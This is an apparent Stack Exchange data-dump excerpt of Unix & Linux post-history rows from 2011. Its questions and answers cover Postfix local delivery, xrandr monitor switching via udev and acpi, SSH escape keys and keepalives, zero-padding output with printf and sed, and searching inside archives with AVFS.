  <row Id="34998" PostHistoryTypeId="2" PostId="13999" RevisionGUID="d9731a90-2866-4777-ae0f-7e765cfc4caf" CreationDate="2011-05-29T14:59:46.987" UserId="274" Text="You can use a `/etc/postfix/main.cf` file like this one:&#xD;&#xA;&#xD;&#xA;    myorigin = localhost&#xD;&#xA;    mydestination = $myhostname, localhost.$mydomain, localhost&#xD;&#xA;    mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128&#xD;&#xA;    relayhost =&#xD;&#xA;&#xD;&#xA;Short explanation of the parameters:&#xD;&#xA;&#xD;&#xA;* [myorigin](http://www.postfix.org/postconf.5.html#myorigin):&#xD;&#xA;  this is the host name that the postfix program will use when&#xD;&#xA;  sending email.&#xD;&#xA;* [mydestination](http://www.postfix.org/postconf.5.html#mydestination): &#xD;&#xA;  this is the host name(s) that the postfix server&#xD;&#xA;  considers itself able to receive mail for - you want `localhost` and&#xD;&#xA;  any hostname on the machine (look into `/etc/hosts`) to be listed&#xD;&#xA;  here.&#xD;&#xA;* [mynetworks](http://www.postfix.org/postconf.5.html#mynetworks)&#xD;&#xA;  lists the &quot;trusted&quot; IP addresses from which postfix accepts *any*&#xD;&#xA;  email&#xD;&#xA;* [relayhost](http://www.postfix.org/postconf.5.html#relayhost): if not empty, postfix will forward all emails to this&#xD;&#xA;  server for delivery; you want this to be empty for local delivery to&#xD;&#xA;  work. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might want to have a look at&#xD;&#xA;http://www.postfix.org/BASIC_CONFIGURATION_README.html&#xD;&#xA;for a more authoritative explanation." />
  <row Id="34999" PostHistoryTypeId="2" PostId="14000" RevisionGUID="3fd34f56-1c61-4347-bd8a-2721d7526c19" CreationDate="2011-05-29T15:01:48.190" UserId="7574" Text="I have the following files in /etc/acpi/events and /etc/udev/rules.d&#xD;&#xA;&#xD;&#xA;/etc/acpi/events/lidclose&#xD;&#xA;&#xD;&#xA;    # Pass all events to our one handler script&#xD;&#xA;    event=button/lid&#xD;&#xA;    action=/etc/acpi/monitors.sh&#xD;&#xA;&#xD;&#xA;/etc/udev/rules.d/80-monitor.rules&#xD;&#xA;&#xD;&#xA;    # change monitor settings when monitor is plugged in or o$&#xD;&#xA;    ACTION==&quot;change&quot;, SUBSYSTEM==&quot;drm&quot;, HOTPLUG==&quot;1&quot;, RUN+=&quot;/etc/acpi/monitors.sh&quot;&#xD;&#xA;&#xD;&#xA;Now, the (executable and owned by root) /etc/acpi/monitors.sh&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    # default monitor is LVDS1&#xD;&#xA;    STATE=internal&#xD;&#xA;    INTERNAL=LVDS1&#xD;&#xA;    EXTERNAL=HDMI3&#xD;&#xA;&#xD;&#xA;    # functions to switch from LVDS1 to VGA and vice versa&#xD;&#xA;    function internal {&#xD;&#xA;        echo &quot;Switching to internal&quot;&#xD;&#xA;        xrandr --output $EXTERNAL --off --output $INTERNAL --auto&#xD;&#xA;        STATE=internal&#xD;&#xA;    }&#xD;&#xA;    function external {&#xD;&#xA;        echo &quot;Switching to external&quot;&#xD;&#xA;        xrandr --output $EXTERNAL --auto --output $INTERNAL --off&#xD;&#xA;        STATE=external&#xD;&#xA;    }&#xD;&#xA;    function both {&#xD;&#xA;        echo &quot;Switching to both&quot;&#xD;&#xA;        xrandr --output $EXTERNAL --auto --right-of $INTERNAL --output $INTERNAL --auto --primary&#xD;&#xA;        STATE=both&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # functions to check if VGA is connected and in use&#xD;&#xA;    function externalConnected {&#xD;&#xA;        ! xrandr | grep &quot;^$EXTERNAL&quot; | grep disconnected &gt;/dev/null&#xD;&#xA;    }&#xD;&#xA;    function lidOpen {&#xD;&#xA;        ! cat /proc/acpi/button/lid/LID/state | grep closed &gt;/dev/null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # actual script&#xD;&#xA;    if ! [ $STATE == &quot;both&quot; ] &amp;&amp; externalConnected &amp;&amp; lidOpen&#xD;&#xA;    then&#xD;&#xA;        both&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    if ! [ $STATE == &quot;external&quot; ] &amp;&amp; externalConnected &amp;&amp; ! lidOpen&#xD;&#xA;    then&#xD;&#xA;        external&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    if ! [ $STATE == &quot;internal&quot; ] &amp;&amp; ! externalConnected &amp;&amp; lidOpen&#xD;&#xA;    then&#xD;&#xA;        internal&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;Now, I tested the script both as root and as my user, and it worked like a charm. I also put some test output via &quot;echo bla &gt; /home/me/test&quot; in it, and when called by udev and acpid it generated the output, so it is executed. The only thing is, that nothing happens with xrandr.&#xD;&#xA;What am I missing? How could I log the output of the script to find errors?&#xD;&#xA;" />
  <row Id="35000" PostHistoryTypeId="1" PostId="14000" RevisionGUID="3fd34f56-1c61-4347-bd8a-2721d7526c19" CreationDate="2011-05-29T15:01:48.190" UserId="7574" Text="script does not behave properly when called by acpi and udev events" />
  <row Id="35001" PostHistoryTypeId="3" PostId="14000" RevisionGUID="3fd34f56-1c61-4347-bd8a-2721d7526c19" CreationDate="2011-05-29T15:01:48.190" UserId="7574" Text="éudevàéacpiàéxrandrà" />
  <row Id="35002" PostHistoryTypeId="5" PostId="13998" RevisionGUID="c9017b02-81b5-4fd1-9217-a93bf3bfb4b7" CreationDate="2011-05-29T15:03:06.547" UserId="274" Comment="fixed spelling" Text="Use the &quot;escape character&quot; (normally, the tilde `~`) to control an SSH session:&#xD;&#xA;&#xD;&#xA;* `~` followed by `.` closes the SSH connection;&#xD;&#xA;* `~` followed by &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Z&lt;/kbd&gt; suspends the SSH process;&#xD;&#xA;* `~` followed by another `~` sends a literal `~`.&#xD;&#xA;&#xD;&#xA;You can set the escape character using the `-e` option to &#xD;&#xA;[ssh](http://manpages.ubuntu.com/manpages/oneiric/en/man1/ssh.1.html)." />
  <row Id="35003" PostHistoryTypeId="2" PostId="14001" RevisionGUID="8015a867-5509-43ce-ba81-85939de38cf7" CreationDate="2011-05-29T15:12:51.573" UserId="274" Text="You could use the&#xD;&#xA;[printf](http://manpages.ubuntu.com/manpages/natty/en/man1/printf.1posix.html)&#xD;&#xA;command: its first argument is a format string, followed by other&#xD;&#xA;arguments that will be inserted into the format string, one per format&#xD;&#xA;specifier.  &#xD;&#xA;&#xD;&#xA;The format specifier for printing a string is `%s`; an integer number&#xD;&#xA;is printed with `%d`; you can optionally specify a number of digits&#xD;&#xA;and a leading `0` for padding with the format `%04d`.&#xD;&#xA;See the man page for the complete listing.&#xD;&#xA;&#xD;&#xA;So, for instance:&#xD;&#xA;&#xD;&#xA;    count100=grep -ach &quot;0100 $GivenBIN&quot; $line&#xD;&#xA;    count110=grep -ach &quot;0110 $GivenBIN&quot; $line&#xD;&#xA;    filename=echo $line | awk -F&quot;/&quot; '{print $NF}'&#xD;&#xA;    printf '%s %d : %d = %04d | %s : %d = %04d' &quot;$filename&quot; &quot;$count100&quot; &quot;$count110&quot; &quot;$ans1&quot; #...&#xD;&#xA;will print the lines in the format you want." />
  <row Id="35004" PostHistoryTypeId="25" PostId="13996" RevisionGUID="bb7730e6-5532-4651-bffd-f60e313e9631" CreationDate="2011-05-29T15:13:17.210" Comment="http://twitter.com/#!/StackUnix/status/74855837625090050" />
  <row Id="35005" PostHistoryTypeId="2" PostId="14002" RevisionGUID="00ae7b72-760d-4595-8d5a-0a675ac64ea9" CreationDate="2011-05-29T15:28:03.320" UserId="4671" Text="Openssh can be configured to send client or server alive messages to the other side. If no response is obtained, the connection will be terminated. From the server side, see the `ClientAliveInterval` and `ClientAliveCountMax` config options. From the client side, see the `ServerAliveInterval` and `ServerAliveCountMax` options. `TCPKeepAlive` is also an option, but is spoofable while the former options aren't, so they are probably better.&#xD;&#xA;&#xD;&#xA;If you set these to reasonable values, you'll probably never have a connection hang again. The only downside is that your ssh connections might stay open if you would rather they would terminate, for security reasons.&#xD;&#xA;&#xD;&#xA;See the [OpenSSH sshd config man page](http://www.openbsd.org/cgi-bin/man.cgi?query=sshd_config) and the [OpenSSH ssh config man page](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh_config) for further infrormation." />
  <row Id="35006" PostHistoryTypeId="2" PostId="14003" RevisionGUID="ec6fcefc-d4b9-4b09-b242-4d903eb8ed9e" CreationDate="2011-05-29T15:30:33.627" UserId="3041" Text="there is no such tool for linux.  &#xD;&#xA;you have to boot windows for that." />
  <row Id="35007" PostHistoryTypeId="2" PostId="14004" RevisionGUID="0a5229c7-979e-425e-a685-c12ecf69d22d" CreationDate="2011-05-29T16:03:26.000" UserId="7883" Text="I have a simple solution for Youtube videos .chrome with Fedora 13 and above.  &#xD;&#xA;&#xD;&#xA;Just change the USERNAME in command to your current username.Run the first and then the 2nd command so that you will get a shortcut of your cashed folder on your Desktop. &#xD;&#xA;&#xD;&#xA; cd /home/USERNAME/Desktop&#xD;&#xA;&#xD;&#xA; ln -s /home/USERNAME/.cache/google-chrome/Default/Cache youtube&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35008" PostHistoryTypeId="2" PostId="14005" RevisionGUID="adf96e8e-ae97-414d-a2cd-76cd2b68ae4a" CreationDate="2011-05-29T16:18:21.020" UserId="2130" Text="Try &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Break&lt;/kbd&gt;" />
  <row Id="35012" PostHistoryTypeId="5" PostId="13798" RevisionGUID="a9ace624-a404-4e0b-90cf-8eb217e973e5" CreationDate="2011-05-29T18:02:00.940" UserId="885" Comment="fixed inner find call (missing {}); added explanations" Text="Ok, let's apply the unix philosophy. What are the components of this task?&#xD;&#xA;&#xD;&#xA;* Text search: you need a tool to search text in a file, such as `grep`.&#xD;&#xA;* Recursive: you need a tool to go looking for files in a directory tree, such as `find`.&#xD;&#xA;* Archives: you need a tool to read them.&#xD;&#xA;&#xD;&#xA;Most unix programs operate on files. So to operate easily on archive components, you need to access them as files, in other words you need to access them as directories.&#xD;&#xA;&#xD;&#xA;The [AVFS](http://avf.sourceforge.net/) filesystem presents a view of the filesystem where every archive file `/path/to/foo.zip` is accessible as a directory `~/.avfs/path/to/foo/zip#`. AVFS provides read-only access to most common archive file formats.&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    find ~/.avfs&quot;$PWD&quot; \( -name '*.zip' -o -name '*.tar.gz' -o -name '*.tgz' \) \&#xD;&#xA;         -exec sh -c '&#xD;&#xA;                      find &quot;$0#&quot; -name &quot;*.pm&quot; -exec grep &quot;$1&quot; {\} +&#xD;&#xA;                     ' {} 'Test::Version' \;&#xD;&#xA;    fusermount -u ~/.avfs   # optional&#xD;&#xA;&#xD;&#xA;Explanations:&#xD;&#xA;&#xD;&#xA;* Mount the AVFS filesystem.&#xD;&#xA;* Look for archive files in `~/.avfs$PWD`, which is the AVFS view of the current directory.&#xD;&#xA;* For each archive, execute the specified shell snippet (with `$0` = archive name and `$1` = pattern to search).&#xD;&#xA;* `$0#` is the directory view of the archive `$0`.&#xD;&#xA;* `{\}` rather than `{}` is needed in case the outer `find` substitutes `{}` inside `-exec ;` arguments (some do it, some don't).&#xD;&#xA;* Optional: finally unmount the AVFS filesystem.&#xD;&#xA;&#xD;&#xA;Or in zsh ≥4.3:&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    grep 'Test::Version' ~/.avfs$PWD/**/*.(tgz|tar.gz|zip)(e\''&#xD;&#xA;         reply=($REPLY\#/**/*.pm(.N))&#xD;&#xA;    '\')&#xD;&#xA;&#xD;&#xA;Explanations:&#xD;&#xA;&#xD;&#xA;* `~/.avfs$PWD/**/*.(tgz|tar.gz|zip)` matches archives in the AVFS view of the current directory and its subdirectories.&#xD;&#xA;* `PATTERN(e\''CODE'\')` applies CODE to each match of PATTERN. The name of the matched file is in `$REPLY`. Setting the `reply` array turns the match into a list of names.&#xD;&#xA;* `$REPLY\#` is the directory view of the archive.&#xD;&#xA;* `$REPLY\#/**/*.pm` matches `.pm` files in the archive.&#xD;&#xA;* The `N` glob qualifier makes the pattern expand to an empty list if there is no match.&#xD;&#xA;" />
  <row Id="35013" PostHistoryTypeId="2" PostId="14008" RevisionGUID="1890e8ec-4b05-47c7-8b5c-74cfbc9fc9b9" CreationDate="2011-05-29T18:08:15.227" UserId="6960" Text="Using Fedora/Ubuntu, how can I do it?" />
  <row Id="35014" PostHistoryTypeId="1" PostId="14008" RevisionGUID="1890e8ec-4b05-47c7-8b5c-74cfbc9fc9b9" CreationDate="2011-05-29T18:08:15.227" UserId="6960" Text="How can I encrypt a device with loop-aes under Linux?" />
  <row Id="35015" PostHistoryTypeId="3" PostId="14008" RevisionGUID="1890e8ec-4b05-47c7-8b5c-74cfbc9fc9b9" CreationDate="2011-05-29T18:08:15.227" UserId="6960" Text="élinuxàéencryptionà" />
  <row Id="35016" PostHistoryTypeId="25" PostId="14000" RevisionGUID="d8e4e187-3349-4966-8bc8-62b4b1ce87f8" CreationDate="2011-05-29T18:13:17.060" Comment="http://twitter.com/#!/StackUnix/status/74901134753533952" />
  <row Id="35017" PostHistoryTypeId="2" PostId="14009" RevisionGUID="ec0b7597-78d1-4962-8b08-29a1b769eb0d" CreationDate="2011-05-29T18:23:04.427" UserId="2343" Text="This is 4 sed expressions; long but simple  &#xD;&#xA;It adds an excess of leading zeroes, and then trims the numbers to 3 and 4 long for the left and right sides respectively.  &#xD;&#xA;&#xD;&#xA;    sed -r -e &quot;s/^([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( )/00\1\200\3\4\500\6\7/&quot; -e &quot;s/0*([0-9][0-9][0-9])( : )0*([0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9])( )/\1\2\3\4\5\6\7/&quot; -e &quot;s/( )([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( .)$/\1000\2\3000\4\5\6000\7\8/&quot; -e &quot;s/( )0*([0-9][0-9][0-9][0-9])( : )0*([0-9][0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9][0-9])( .)$/\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;    &lt;&lt;'EOF'&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 |&#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 |&#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |&#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 954 = -1 |&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Here is the output &#xD;&#xA;&#xD;&#xA;    261 : 261 = 000 | 1192 : 1184 = 0008 |&#xD;&#xA;    283 : 283 = 000 | 0666 : 0659 = 0007 |&#xD;&#xA;    267 : 267 = 000 | 0631 : 0620 = 0011 |&#xD;&#xA;    283 : 283 = 000 | 0787 : 0781 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0957 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0954 = -0001 |&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is a more readable version of the sed expressions.  &#xD;&#xA;&#xD;&#xA;    sed -r \&#xD;&#xA;    -e &quot;s/^\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( )\&#xD;&#xA;    /00\1\200\3\4\500\6\7/&quot; \&#xD;&#xA;    -e &quot;s/\&#xD;&#xA;    0*([0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9])( )\&#xD;&#xA;    /\1\2\3\4\5\6\7/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( .)$\&#xD;&#xA;    /\1000\2\3000\4\5\6000\7\8/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( .)$\&#xD;&#xA;    /\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;" />
  <row Id="35018" PostHistoryTypeId="5" PostId="14009" RevisionGUID="c5fe1d6d-8a95-4c0d-a874-8c98ee22bc60" CreationDate="2011-05-29T18:29:10.200" UserId="2343" Comment="added 160 characters in body" Text="This is 4 sed expressions; long but simple  &#xD;&#xA;It adds an excess of leading zeroes, and then trims the numbers to 3 and 4 long for the left and right sides respectively.  &#xD;&#xA;It is hard to construct something like this in a single line, but it is quite easy when it is laid out over many lines as shown in the last code section...   &#xD;&#xA;&#xD;&#xA;    sed -r -e &quot;s/^([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( )/00\1\200\3\4\500\6\7/&quot; -e &quot;s/0*([0-9][0-9][0-9])( : )0*([0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9])( )/\1\2\3\4\5\6\7/&quot; -e &quot;s/( )([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( .)$/\1000\2\3000\4\5\6000\7\8/&quot; -e &quot;s/( )0*([0-9][0-9][0-9][0-9])( : )0*([0-9][0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9][0-9])( .)$/\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;    &lt;&lt;'EOF'&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 |&#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 |&#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |&#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 954 = -1 |&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Here is the output &#xD;&#xA;&#xD;&#xA;    261 : 261 = 000 | 1192 : 1184 = 0008 |&#xD;&#xA;    283 : 283 = 000 | 0666 : 0659 = 0007 |&#xD;&#xA;    267 : 267 = 000 | 0631 : 0620 = 0011 |&#xD;&#xA;    283 : 283 = 000 | 0787 : 0781 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0957 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0954 = -0001 |&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is a more readable version of the sed expressions.  &#xD;&#xA;&#xD;&#xA;    sed -r \&#xD;&#xA;    -e &quot;s/^\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( )\&#xD;&#xA;    /00\1\200\3\4\500\6\7/&quot; \&#xD;&#xA;    -e &quot;s/\&#xD;&#xA;    0*([0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9])( )\&#xD;&#xA;    /\1\2\3\4\5\6\7/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( .)$\&#xD;&#xA;    /\1000\2\3000\4\5\6000\7\8/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( .)$\&#xD;&#xA;    /\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;" />
  <row Id="35019" PostHistoryTypeId="5" PostId="14009" RevisionGUID="64c76628-312d-4072-ad15-33bb864b4445" CreationDate="2011-05-29T18:34:43.307" UserId="2343" Comment="added 158 characters in body; added 5 characters in body" Text="This is 4 sed expressions; long but simple  &#xD;&#xA;It adds an excess of leading zeroes, and then trims the numbers to 3 and 4 long for the left and right sides respectively.  &#xD;&#xA;It is hard to construct something like this in a single line, but it is quite easy when it is laid out over many lines as shown in the last code section...     &#xD;&#xA;I'm sure that printf can do it in one line (just like sed :) .. but a much shorter line...  I'm just throwing in this sed version because it **can** do it...  &#xD;&#xA;&#xD;&#xA;    sed -r -e &quot;s/^([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( )/00\1\200\3\4\500\6\7/&quot; -e &quot;s/0*([0-9][0-9][0-9])( : )0*([0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9])( )/\1\2\3\4\5\6\7/&quot; -e &quot;s/( )([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( .)$/\1000\2\3000\4\5\6000\7\8/&quot; -e &quot;s/( )0*([0-9][0-9][0-9][0-9])( : )0*([0-9][0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9][0-9])( .)$/\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;    &lt;&lt;'EOF'&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 |&#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 |&#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |&#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 954 = -1 |&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Here is the output &#xD;&#xA;&#xD;&#xA;    261 : 261 = 000 | 1192 : 1184 = 0008 |&#xD;&#xA;    283 : 283 = 000 | 0666 : 0659 = 0007 |&#xD;&#xA;    267 : 267 = 000 | 0631 : 0620 = 0011 |&#xD;&#xA;    283 : 283 = 000 | 0787 : 0781 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0957 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0954 = -0001 |&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is a more readable version of the sed expressions.  &#xD;&#xA;&#xD;&#xA;    sed -r \&#xD;&#xA;    -e &quot;s/^\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( )\&#xD;&#xA;    /00\1\200\3\4\500\6\7/&quot; \&#xD;&#xA;    -e &quot;s/\&#xD;&#xA;    0*([0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9])( )\&#xD;&#xA;    /\1\2\3\4\5\6\7/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( .)$\&#xD;&#xA;    /\1000\2\3000\4\5\6000\7\8/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( .)$\&#xD;&#xA;    /\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;" />
  <row Id="35020" PostHistoryTypeId="5" PostId="13990" RevisionGUID="080516ac-fac4-45e1-a3f1-0dcf62719de4" CreationDate="2011-05-29T18:38:08.907" UserId="3524" Comment="improved code formating" Text="I need have put 0 on the results of my grep so my script format will be fine and i don't have any idea how to do it. here's my grep result :&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 | &#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 | &#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |  &#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 | &#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;&#xD;&#xA;**i wish to output something like this :**&#xD;&#xA;&#xD;&#xA;    261 : 261 = 000  | 1192 : 1184 = 0008 |   &#xD;&#xA;    283 : 283 =  000  | 0666 : 0659 = 0007 | &#xD;&#xA;    267 : 267 =  000  | 0631 : 0620 = 0011 | &#xD;&#xA;    283 : 283 =  000  | 0787 : 0781 = 0006 | &#xD;&#xA;    278 : 279 = -001  | 0963 : 0957 = 0006 |&#xD;&#xA;&#xD;&#xA;**to get that result here is my script :**&#xD;&#xA;&#xD;&#xA;    count100=`grep -ach &quot;0100 $GivenBIN&quot; $line`&#xD;&#xA;    count110=`grep -ach &quot;0110 $GivenBIN&quot; $line`&#xD;&#xA;    filename=`echo $line | awk -F&quot;/&quot; '{print $NF}'`&#xD;&#xA;    echo -e &quot;$filename     $count100 : $count110 = $ans1| $count220 : $count230 = $ans4 |&quot; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="35021" PostHistoryTypeId="24" PostId="13990" RevisionGUID="080516ac-fac4-45e1-a3f1-0dcf62719de4" CreationDate="2011-05-29T18:38:08.907" Comment="Proposed by 3524 approved by 885 edit id of 397" />
  <row Id="35022" PostHistoryTypeId="2" PostId="14010" RevisionGUID="dbe83627-5ff3-4610-83bb-9c5094136f97" CreationDate="2011-05-29T18:45:50.917" UserId="366" Text="I ran into something a couple of weeks ago that I'd never seen before: A filesystem (ext3 I believe) installed to a storage device without a partition. In essence `/dev/sdb` *was* the entire filesystem. I know many filesystems can be extended into empty space, so doing this allows extending without dealing with LVM or some other kind of volume manager, but are there any other advantages for setting up storage this way?&#xD;&#xA;&#xD;&#xA;The specific case I saw was as the ephemeral data volume for a number crunching server, the boot and root volumes were traditional partitions on a different storage device entirely. -" />
  <row Id="35023" PostHistoryTypeId="1" PostId="14010" RevisionGUID="dbe83627-5ff3-4610-83bb-9c5094136f97" CreationDate="2011-05-29T18:45:50.917" UserId="366" Text="The merits of a partitionless filesystem" />
  <row Id="35024" PostHistoryTypeId="3" PostId="14010" RevisionGUID="dbe83627-5ff3-4610-83bb-9c5094136f97" CreationDate="2011-05-29T18:45:50.917" UserId="366" Text="éfilesystemsàépartitionàélvmà" />
  <row Id="35025" PostHistoryTypeId="5" PostId="14009" RevisionGUID="28448645-d454-4790-81c1-58ab07f5d831" CreationDate="2011-05-29T18:46:35.180" UserId="2343" Comment="deleted 12 characters in body" Text="This is 4 sed expressions; long but simple  &#xD;&#xA;It adds an excess of leading zeroes, and then trims the numbers to 3 and 4 long for the left and right sides respectively.  &#xD;&#xA;It is hard to construct something like this in a single line, but it is quite easy when it is laid out over many lines as shown in the last code section...     &#xD;&#xA;`printf` can do it in one line (just like sed :) .. but a much shorter line...  I'm just throwing in this sed version because it **can** do it...  &#xD;&#xA;&#xD;&#xA;    sed -r -e &quot;s/^([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( )/00\1\200\3\4\500\6\7/&quot; -e &quot;s/0*([0-9][0-9][0-9])( : )0*([0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9])( )/\1\2\3\4\5\6\7/&quot; -e &quot;s/( )([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( .)$/\1000\2\3000\4\5\6000\7\8/&quot; -e &quot;s/( )0*([0-9][0-9][0-9][0-9])( : )0*([0-9][0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9][0-9])( .)$/\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;    &lt;&lt;'EOF'&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 |&#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 |&#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |&#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 954 = -1 |&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Here is the output &#xD;&#xA;&#xD;&#xA;    261 : 261 = 000 | 1192 : 1184 = 0008 |&#xD;&#xA;    283 : 283 = 000 | 0666 : 0659 = 0007 |&#xD;&#xA;    267 : 267 = 000 | 0631 : 0620 = 0011 |&#xD;&#xA;    283 : 283 = 000 | 0787 : 0781 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0957 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0954 = -0001 |&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is a more readable version of the sed expressions.  &#xD;&#xA;&#xD;&#xA;    sed -r \&#xD;&#xA;    -e &quot;s/^\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( )\&#xD;&#xA;    /00\1\200\3\4\500\6\7/&quot; \&#xD;&#xA;    -e &quot;s/\&#xD;&#xA;    0*([0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9])( )\&#xD;&#xA;    /\1\2\3\4\5\6\7/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( .)$\&#xD;&#xA;    